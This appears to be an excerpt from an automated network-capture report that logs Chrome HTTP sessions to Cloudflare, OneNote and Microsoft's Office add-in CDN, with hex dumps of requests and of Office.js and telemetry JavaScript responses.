2024-10-25 08:19:28 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1257061762:1729843921:fbetIUB4PuBaj-kpOjWFbuBAII6sbImkf8piHbMmomo/8d80c7f0395d4869/cTFwOuSISxbtYcMvZEUKJJnLRaY.ZD5rDwTw.SAnFCg-1729844359-1.1.1.1-fUYaKlgVy1ZLFNTQN5NUiuOBDXdkFBVNFgmhytd.JzVDQuIcSEwOfsMH_jM1N0Sx HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:29 UTC	379	IN	HTTP/1.1 404 Not Found Date: Fri, 25 Oct 2024 08:19:28 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: TJgRXWWpxSlIdXZePR7+//z01rP9B0c99dc=$MLhGsuQM68pVrxmQ cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8d80c82a1c066c3b-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:29 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	50054	13.107.246.45	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:28 UTC	711	OUT	POST /officeaddins/RemoteUls.ashx HTTP/1.1 Host: www.onenote.com Connection: keep-alive Content-Length: 552 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json X-UserSessionId: cebc9818-d803-46ff-87a2-4388110a1347 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.onenote.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.onenote.com/officeaddins/learningtools/?et= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:28 UTC	552	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 36 36 36 38 30 2c 22 4c 22 3a 5b 7b 22 47 22 3a 36 31 36 30 38 35 36 2c 22 54 22 3a 30 2c 22 4d 22 3a 22 4f 6e 4c 6f 61 64 22 2c 22 43 22 3a 32 30 30 33 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 36 31 36 30 38 35 37 2c 22 54 22 3a 31 2c 22 4d 22 3a 22 55 73 65 72 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 29 20 43 68 72 6f 6d 65 2f 31 31 37 2e 30 2e 30 2e 30 20 53 61 66 61 72 69 2f 35 33 37 2e 33 36 22 2c 22 43 22 3a 32 30 30 33 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 36 34 33 36 36 32 38 2c 22 54 22 3a Data Ascii: {"T":1729844366680,"L":[{"G":6160856,"T":0,"M":"OnLoad","C":2003,"D":50},{"G":6160857,"T":1,"M":"UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36","C":2003,"D":50},{"G":6436628,"T":
2024-10-25 08:19:29 UTC	1173	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:29 GMT Content-Type: text/plain Content-Length: 0 Connection: close Cache-Control: private X-RoutingOfficeCluster: eus-azsc-001.reverseproxy.onenote.com X-RoutingOfficeFE: ReverseProxyFrontEnd_IN_14 X-RoutingOfficeVersion: 16.0.18218.40454 X-RoutingSessionId: cebc9818-d803-46ff-87a2-4388110a1347 X-RoutingCorrelationId: feafb8a0-7fa4-443f-8231-e555fa0b170e P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" x-correlationid: feafb8a0-7fa4-443f-8231-e555fa0b170e x-usersessionid: cebc9818-d803-46ff-87a2-4388110a1347 x-officefe: AgavesFrontEnd_IN_3 x-officeversion: 16.0.18218.40453 x-officecluster: eus-000.appsforoffice.onenote.com x-partitioning-enabled: true strict-transport-security: max-age=31536000; includeSubDomains; preload x-buls-suppressionetag: N/A x-buls-suppressedtags: x-content-type-options: nosniff x-download-options: noopen content-disposition: attachment x-content-type-options: nosniff x-azure-ref: 20241025T081928Z-16849878b78hh85qc40uyr8sc800000000p000000000045c X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	50057	13.107.246.45	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:29 UTC	516	OUT	GET /lib/1.1/hosted/onenote-web-16.00.js HTTP/1.1 Host: appsforoffice.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: MC1=GUID=439a9db6924e4548b0f168f264a87318&HASH=439a&LV=202410&V=4&LU=1729844330519; MS0=e0191ec7c24143ff81af173b9243da2a
2024-10-25 08:19:29 UTC	1553	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:29 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Last-Modified: Tue, 22 Oct 2024 19:18:42 GMT x-ms-request-id: b26050bd-901e-0096-760a-26cbd3000000 Cache-Control: max-age=14400 Alt-Svc: h3=":443"; ma=93600 Akamai-Request-BC: [a=23.220.107.215,b=1323622545,c=g,n=US_VA_ASHBURN,o=20940],[c=p,n=US_VA_ASHBURN,o=20940],[c=c,n=US_NY_NEWYORK,o=20940],[c=p,n=US_NY_NEWYORK,o=20940],[a=191.235.250.36,c=o] Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=ASHBURN&ASN=20940&Country=US&Region=VA&RequestIdentifier=0.d76bdc17.1729770298.4ee4e091&TotalRTCDNTime=26&CompressionType=gzip&FileSize=808183"}],"include_subdomains ":true} NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Server-Timing: clientrtt; dur=26, clienttt; dur=1101, origin; dur=0 , cdntime; dur=1101 Akamai-Cache-Status: Miss from child, Miss from parent X-CDN-Bucket: 1 X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Expose-Headers: date,Akamai-Request-BC,X-Cdn-Provider,X-Ms-Request-Id Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubDomains X-CDN-Provider: Akamai x-azure-ref: 20241025T081929Z-17c5cb586f6gkqkwd0x1ge8t0400000000f0000000002pf3 x-fd-int-roxy-purgeid: 66127294 X-Cache-Info: L1_T2 X-Cache: TCP_HIT
2024-10-25 08:19:29 UTC	14831	IN	Data Raw: 34 31 38 31 0d 0a 2f 2a 0d 0a 09 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0d 0a 2a 2f 0d 0a 0d 0a 2f 2a 0d 0a 09 59 6f 75 72 20 75 73 65 20 6f 66 20 74 68 69 73 20 66 69 6c 65 20 69 73 20 67 6f 76 65 72 6e 65 64 20 62 79 20 74 68 65 20 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 66 6f 72 20 74 68 65 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 4a 61 76 61 53 63 72 69 70 74 20 28 4f 66 66 69 63 65 2e 6a 73 29 20 41 50 49 20 6c 69 62 72 61 72 79 3a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 66 66 69 63 65 44 65 76 2f 6f 66 66 69 63 65 2d 6a 73 2f 62 6c 6f 62 2f 72 65 6c 65 61 73 65 2f 4c 49 43 45 4e Data Ascii: 4181/Copyright (c) Microsoft Corporation. All rights reserved.//*Your use of this file is governed by the license terms for the Microsoft Office JavaScript (Office.js) API library: https://github.com/OfficeDev/office-js/blob/release/LICEN
2024-10-25 08:19:29 UTC	16384	IN	Data Raw: 6f 6e 64 65 66 61 75 6c 74 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 6e 2c 5b 22 65 6e 75 6d 65 72 61 62 6c 65 22 5d 29 7d 2c 64 65 66 69 6e 65 45 6e 75 6d 65 72 61 62 6c 65 50 72 6f 70 65 72 74 69 65 73 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 4f 53 46 2e 4f 55 74 69 6c 2e 64 65 66 69 6e 65 4e 6f 6e 64 65 66 61 75 6c 74 50 72 6f 70 65 72 74 69 65 73 28 65 2c 74 2c 5b 22 65 6e 75 6d 65 72 61 62 6c 65 22 5d 29 7d 2c 64 65 66 69 6e 65 4d 75 74 61 62 6c 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 4f 53 46 2e 4f 55 74 69 6c 2e 64 65 66 69 6e 65 4e 6f 6e 64 65 66 61 75 6c 74 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 6e 2c 5b 22 77 72 69 74 61 62 6c 65 22 2c 22 65 6e 75 6d 65 72 61 62 6c Data Ascii: ondefaultProperty(e,t,n,["enumerable"])},defineEnumerableProperties:function(e,t){return OSF.OUtil.defineNondefaultProperties(e,t,["enumerable"])},defineMutableProperty:function(e,t,n){return OSF.OUtil.defineNondefaultProperty(e,t,n,["writable","enumerabl
2024-10-25 08:19:29 UTC	16384	IN	Data Raw: 7b 52 65 61 64 4f 6e 6c 79 3a 31 2c 52 65 61 64 57 72 69 74 65 3a 30 7d 2c 4f 53 46 2e 44 44 41 2e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3d 7b 41 73 79 6e 63 52 65 73 75 6c 74 53 74 61 74 75 73 3a 22 41 73 79 6e 63 52 65 73 75 6c 74 53 74 61 74 75 73 22 7d 2c 4f 53 46 2e 44 44 41 2e 45 76 65 6e 74 44 65 73 63 72 69 70 74 6f 72 73 3d 7b 7d 2c 4f 53 46 2e 44 44 41 2e 4c 69 73 74 44 65 73 63 72 69 70 74 6f 72 73 3d 7b 7d 2c 4f 53 46 2e 44 44 41 2e 55 49 3d 7b 7d 2c 4f 53 46 2e 44 44 41 2e 67 65 74 58 64 6d 45 76 65 6e 74 4e 61 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 3d 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 57 65 62 45 78 74 65 6e 73 69 6f 6e 2e 45 76 65 6e 74 54 79 70 65 2e 42 69 6e 64 69 Data Ascii: {ReadOnly:1,ReadWrite:0},OSF.DDA.PropertyDescriptors={AsyncResultStatus:"AsyncResultStatus"},OSF.DDA.EventDescriptors={},OSF.DDA.ListDescriptors={},OSF.DDA.UI={},OSF.DDA.getXdmEventName=function(e,t){return t==Microsoft.Office.WebExtension.EventType.Bindi
2024-10-25 08:19:29 UTC	16384	IN	Data Raw: 67 61 74 65 54 6f 7d 2c 65 5b 4f 53 46 2e 44 44 41 2e 45 72 72 6f 72 43 6f 64 65 4d 61 6e 61 67 65 72 2e 65 72 72 6f 72 43 6f 64 65 73 2e 6f 6f 65 53 70 65 63 69 66 69 65 64 49 64 4e 6f 74 45 78 69 73 74 5d 3d 7b 6e 61 6d 65 3a 74 2e 4c 5f 53 70 65 63 69 66 69 65 64 49 64 4e 6f 74 45 78 69 73 74 2c 6d 65 73 73 61 67 65 3a 74 2e 4c 5f 53 70 65 63 69 66 69 65 64 49 64 4e 6f 74 45 78 69 73 74 7d 2c 65 5b 4f 53 46 2e 44 44 41 2e 45 72 72 6f 72 43 6f 64 65 4d 61 6e 61 67 65 72 2e 65 72 72 6f 72 43 6f 64 65 73 2e 6f 6f 65 4e 61 76 4f 75 74 4f 66 42 6f 75 6e 64 5d 3d 7b 6e 61 6d 65 3a 74 2e 4c 5f 4e 61 76 4f 75 74 4f 66 42 6f 75 6e 64 2c 6d 65 73 73 61 67 65 3a 74 2e 4c 5f 4e 61 76 4f 75 74 4f 66 42 6f 75 6e 64 7d 2c 65 5b 4f 53 46 2e 44 44 41 2e 45 72 72 6f 72 Data Ascii: gateTo},e[OSF.DDA.ErrorCodeManager.errorCodes.ooeSpecifiedIdNotExist]={name:t.L_SpecifiedIdNotExist,message:t.L_SpecifiedIdNotExist},e[OSF.DDA.ErrorCodeManager.errorCodes.ooeNavOutOfBound]={name:t.L_NavOutOfBound,message:t.L_NavOutOfBound},e[OSF.DDA.Error
2024-10-25 08:19:29 UTC	16384	IN	Data Raw: 6e 75 6d 65 72 61 62 6c 65 50 72 6f 70 65 72 74 79 28 74 68 69 73 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 7b 76 61 6c 75 65 3a 65 2e 61 70 70 6c 69 63 61 74 69 6f 6e 7d 29 2c 65 2e 65 78 74 65 6e 73 69 6f 6e 4c 69 66 65 43 79 63 6c 65 26 26 4f 53 46 2e 4f 55 74 69 6c 2e 64 65 66 69 6e 65 45 6e 75 6d 65 72 61 62 6c 65 50 72 6f 70 65 72 74 79 28 74 68 69 73 2c 22 65 78 74 65 6e 73 69 6f 6e 4c 69 66 65 43 79 63 6c 65 22 2c 7b 76 61 6c 75 65 3a 65 2e 65 78 74 65 6e 73 69 6f 6e 4c 69 66 65 43 79 63 6c 65 7d 29 2c 65 2e 6d 65 73 73 61 67 69 6e 67 26 26 4f 53 46 2e 4f 55 74 69 6c 2e 64 65 66 69 6e 65 45 6e 75 6d 65 72 61 62 6c 65 50 72 6f 70 65 72 74 79 28 74 68 69 73 2c 22 6d 65 73 73 61 67 69 6e 67 22 2c 7b 76 61 6c 75 65 3a 65 2e 6d 65 73 73 61 67 69 6e Data Ascii: numerableProperty(this,"application",{value:e.application}),e.extensionLifeCycle&&OSF.OUtil.defineEnumerableProperty(this,"extensionLifeCycle",{value:e.extensionLifeCycle}),e.messaging&&OSF.OUtil.defineEnumerableProperty(this,"messaging",{value:e.messagin
2024-10-25 08:19:29 UTC	16384	IN	Data Raw: 6f 64 65 73 41 73 79 6e 63 3a 6f 2e 64 69 73 70 69 64 47 65 74 44 61 74 61 50 61 72 74 4e 6f 64 65 73 4d 65 74 68 6f 64 2c 44 65 6c 65 74 65 44 61 74 61 50 61 72 74 41 73 79 6e 63 3a 6f 2e 64 69 73 70 69 64 44 65 6c 65 74 65 44 61 74 61 50 61 72 74 4d 65 74 68 6f 64 2c 47 65 74 4e 6f 64 65 56 61 6c 75 65 41 73 79 6e 63 3a 6f 2e 64 69 73 70 69 64 47 65 74 44 61 74 61 4e 6f 64 65 56 61 6c 75 65 4d 65 74 68 6f 64 2c 47 65 74 4e 6f 64 65 58 6d 6c 41 73 79 6e 63 3a 6f 2e 64 69 73 70 69 64 47 65 74 44 61 74 61 4e 6f 64 65 58 6d 6c 4d 65 74 68 6f 64 2c 47 65 74 52 65 6c 61 74 69 76 65 4e 6f 64 65 73 41 73 79 6e 63 3a 6f 2e 64 69 73 70 69 64 47 65 74 44 61 74 61 4e 6f 64 65 73 4d 65 74 68 6f 64 2c 53 65 74 4e 6f 64 65 56 61 6c 75 65 41 73 79 6e 63 3a 6f 2e 64 69 Data Ascii: odesAsync:o.dispidGetDataPartNodesMethod,DeleteDataPartAsync:o.dispidDeleteDataPartMethod,GetNodeValueAsync:o.dispidGetDataNodeValueMethod,GetNodeXmlAsync:o.dispidGetDataNodeXmlMethod,GetRelativeNodesAsync:o.dispidGetDataNodesMethod,SetNodeValueAsync:o.di
2024-10-25 08:19:29 UTC	16384	IN	Data Raw: 65 66 69 6e 65 64 22 21 3d 3d 74 79 70 65 6f 66 20 65 26 26 65 29 7b 76 61 72 20 74 3d 76 6f 69 64 20 30 3b 74 72 79 7b 76 61 72 20 6e 3d 6e 65 77 20 55 52 4c 28 65 29 3b 69 66 28 6e 26 26 28 74 3d 6e 2e 68 6f 73 74 29 2c 21 6e 2e 70 72 6f 74 6f 63 6f 6c 29 74 68 72 6f 77 22 66 61 6c 6c 62 61 63 6b 22 3b 69 66 28 22 68 74 74 70 73 3a 22 21 3d 3d 6e 2e 70 72 6f 74 6f 63 6f 6c 29 72 65 74 75 72 6e 7d 63 61 74 63 68 28 6e 29 7b 74 72 79 7b 76 61 72 20 72 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 3b 69 66 28 72 2e 68 72 65 66 3d 65 2c 22 68 74 74 70 73 3a 22 21 3d 3d 72 2e 70 72 6f 74 6f 63 6f 6c 29 72 65 74 75 72 6e 3b 76 61 72 20 6f 3d 65 2e 6d 61 74 63 68 28 6e 65 77 20 52 65 67 45 78 70 28 22 5e 68 74 74 70 73 3a Data Ascii: efined"!==typeof e&&e){var t=void 0;try{var n=new URL(e);if(n&&(t=n.host),!n.protocol)throw"fallback";if("https:"!==n.protocol)return}catch(n){try{var r=document.createElement("a");if(r.href=e,"https:"!==r.protocol)return;var o=e.match(new RegExp("^https:
2024-10-25 08:19:29 UTC	16384	IN	Data Raw: 70 65 28 61 29 3b 74 68 69 73 2e 5f 74 61 72 67 65 74 57 69 6e 64 6f 77 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 73 2c 74 68 69 73 2e 5f 74 61 72 67 65 74 55 72 6c 29 2c 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 43 6f 6d 6d 6f 6e 2e 58 64 6d 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 4d 61 6e 61 67 65 72 2e 5f 73 74 61 72 74 4d 65 74 68 6f 64 54 69 6d 65 6f 75 74 54 69 6d 65 72 28 29 7d 63 61 74 63 68 28 65 29 7b 74 72 79 7b 6e 75 6c 6c 21 3d 3d 74 26 26 74 28 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 43 6f 6d 6d 6f 6e 2e 49 6e 76 6f 6b 65 52 65 73 75 6c 74 43 6f 64 65 2e 65 72 72 6f 72 49 6e 52 65 71 75 65 73 74 2c 65 29 7d 66 69 6e 61 6c 6c 79 7b 64 65 6c 65 74 65 20 74 68 69 73 2e 5f 63 61 6c 6c 62 61 63 6b 4c 69 73 74 5b 6f 5d 7d 7d 66 69 Data Ascii: pe(a);this._targetWindow.postMessage(s,this._targetUrl),Microsoft.Office.Common.XdmCommunicationManager._startMethodTimeoutTimer()}catch(e){try{null!==t&&t(Microsoft.Office.Common.InvokeResultCode.errorInRequest,e)}finally{delete this._callbackList[o]}}fi
2024-10-25 08:19:29 UTC	16384	IN	Data Raw: 20 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 43 6f 6d 6d 6f 6e 2e 49 6e 76 6f 6b 65 52 65 73 75 6c 74 43 6f 64 65 2e 65 72 72 6f 72 48 61 6e 64 6c 69 6e 67 52 65 71 75 65 73 74 41 63 63 65 73 73 44 65 6e 69 65 64 3a 72 3d 4f 53 46 2e 44 44 41 2e 45 72 72 6f 72 43 6f 64 65 4d 61 6e 61 67 65 72 2e 65 72 72 6f 72 43 6f 64 65 73 2e 6f 6f 65 4e 6f 43 61 70 61 62 69 6c 69 74 79 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 72 3d 4f 53 46 2e 44 44 41 2e 45 72 72 6f 72 43 6f 64 65 4d 61 6e 61 67 65 72 2e 65 72 72 6f 72 43 6f 64 65 73 2e 6f 6f 65 49 6e 74 65 72 6e 61 6c 45 72 72 6f 72 7d 65 2e 6f 6e 43 6f 6d 70 6c 65 74 65 26 26 65 2e 6f 6e 43 6f 6d 70 6c 65 74 65 28 72 2c 6e 29 7d 29 2c 65 2e 68 6f 73 74 43 61 6c 6c 41 72 67 73 29 7d 2c 4f 53 46 2e 44 44 Data Ascii: Microsoft.Office.Common.InvokeResultCode.errorHandlingRequestAccessDenied:r=OSF.DDA.ErrorCodeManager.errorCodes.ooeNoCapability;break;default:r=OSF.DDA.ErrorCodeManager.errorCodes.ooeInternalError}e.onComplete&&e.onComplete(r,n)}),e.hostCallArgs)},OSF.DD
2024-10-25 08:19:29 UTC	16384	IN	Data Raw: 61 76 65 20 69 73 20 77 72 6f 6e 67 2e 22 29 7d 7d 29 2c 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 43 6f 6d 6d 6f 6e 2e 49 6e 76 6f 6b 65 54 79 70 65 2e 61 73 79 6e 63 2c 21 31 29 2c 65 2e 61 64 64 4f 72 52 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 46 6f 72 57 69 6e 64 6f 77 28 21 30 29 7d 63 61 74 63 68 28 65 29 7b 74 68 72 6f 77 20 4f 53 46 2e 41 70 70 54 65 6c 65 6d 65 74 72 79 26 26 4f 53 46 2e 41 70 70 54 65 6c 65 6d 65 74 72 79 2e 6c 6f 67 41 70 70 45 78 63 65 70 74 69 6f 6e 28 22 45 78 63 65 70 74 69 6f 6e 20 74 68 72 6f 77 6e 20 69 6e 20 73 65 74 41 67 61 76 65 48 6f 73 74 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 2e 20 45 78 63 65 70 74 69 6f 6e 3a 5b 22 2b 65 2b 22 5d 22 29 2c 65 7d 7d 2c 4f 53 46 2e 49 6e 69 74 69 61 6c 69 Data Ascii: ave is wrong.")}}),Microsoft.Office.Common.InvokeType.async,!1),e.addOrRemoveEventListenersForWindow(!0)}catch(e){throw OSF.AppTelemetry&&OSF.AppTelemetry.logAppException("Exception thrown in setAgaveHostCommunication. Exception:["+e+"]"),e}},OSF.Initiali

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	50055	13.107.246.60	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:29 UTC	596	OUT	GET /lib/1.1/hosted/telemetry/oteljs_agave.js HTTP/1.1 Host: appsforoffice.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.onenote.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.onenote.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:29 UTC	1487	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:29 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Last-Modified: Wed, 23 Oct 2024 18:34:05 GMT x-ms-request-id: 77e5cbdf-601e-0052-64e4-2514e8000000 Cache-Control: max-age=14400 Alt-Svc: h3=":443"; ma=93600 Akamai-Request-BC: [a=23.221.23.199,b=924051818,c=g,n=US_TX_DALLAS,o=20940],[c=p,n=US_TX_DALLAS,o=20940],[c=c,n=US_TX_DALLAS,o=20940] Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=DALLAS&ASN=20940&Country=US&Region=TX&RequestIdentifier=0.c717dd17.1729844325.3713e96a&TotalRTCDNTime=6&CompressionType=gzip&FileSize=73679"}],"include_subdomains ":true} NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Server-Timing: clientrtt; dur=6, clienttt; dur=14, origin; dur=0 , cdntime; dur=14 Akamai-Cache-Status: Miss from child, Miss from parent X-CDN-Bucket: 2 X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Expose-Headers: date,Akamai-Request-BC,X-Cdn-Provider,X-Ms-Request-Id Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubDomains X-CDN-Provider: Akamai x-azure-ref: 20241025T081929Z-16849878b78lhh9t0fb3392enw00000008vg000000005tw9 x-fd-int-roxy-purgeid: 66127294 X-Cache: TCP_HIT X-Cache-Info: L1_T2
2024-10-25 08:19:29 UTC	14897	IN	Data Raw: 32 62 61 39 0d 0a 76 61 72 20 6f 74 65 6c 6a 73 5f 61 67 61 76 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 69 29 7b 69 66 28 74 5b 69 5d 29 72 65 74 75 72 6e 20 74 5b 69 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 69 5d 3d 7b 69 3a 69 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 69 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6e 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6e 2e 6d 3d 65 2c 6e 2e 63 3d 74 2c 6e 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 6e 2e 6f 28 65 2c 74 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 65 Data Ascii: 2ba9var oteljs_agave=function(e){var t={};function n(i){if(t[i])return t[i].exports;var r=t[i]={i:i,l:!1,exports:{}};return e[i].call(r.exports,r,r.exports,n),r.l=!0,r.exports}return n.m=e,n.c=t,n.d=function(e,t,i){n.o(e,t)\|\|Object.defineProperty(e,t,{e
2024-10-25 08:19:29 UTC	16384	IN	Data Raw: 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 3b 76 61 72 20 69 3d 6e 28 31 30 29 2c 72 3d 6e 28 30 29 2c 6f 3d 6e 28 36 29 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 74 68 69 73 2e 5f 61 6c 6c 6f 77 44 65 76 69 63 65 46 69 65 6c 64 73 3d 65 2c 74 68 69 73 2e 5f 70 72 6f 70 65 72 74 69 65 73 3d 74 7d 72 65 74 75 72 6e 20 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 70 70 49 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 5f 61 64 64 43 6f 6e 74 65 78 74 28 22 41 70 70 49 6e 66 6f 2e 49 64 22 2c 65 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 70 70 56 65 72 73 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e Data Ascii: ject.defineProperty(t,"__esModule",{value:!0});var i=n(10),r=n(0),o=n(6),s=function(){function e(e,t){this._allowDeviceFields=e,this._properties=t}return e.prototype.setAppId=function(e){this._addContext("AppInfo.Id",e)},e.prototype.setAppVersion=function
